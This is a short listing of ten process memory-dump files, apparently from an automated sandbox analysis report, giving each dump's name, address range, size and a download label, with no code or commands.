memory/4668-6580-0x0000000007310000-0x0000000007318000-memory.dmp

Filesize
32KB

Download
memory/4668-6585-0x0000000073120000-0x00000000738D0000-memory.dmp

Filesize
7.7MB

Download
memory/4668-6561-0x0000000006F30000-0x0000000006F62000-memory.dmp

Filesize
200KB

Download
memory/4668-6549-0x0000000004A00000-0x0000000004A10000-memory.dmp

Filesize
64KB

Download
memory/4668-6550-0x0000000004A00000-0x0000000004A10000-memory.dmp

Filesize
64KB

Download
memory/4668-6560-0x0000000004A00000-0x0000000004A10000-memory.dmp

Filesize
64KB

Download
memory/5064-6622-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/5064-6620-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/5064-6618-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download
memory/5064-6615-0x0000000000400000-0x000000000046D000-memory.dmp

Filesize
436KB

Download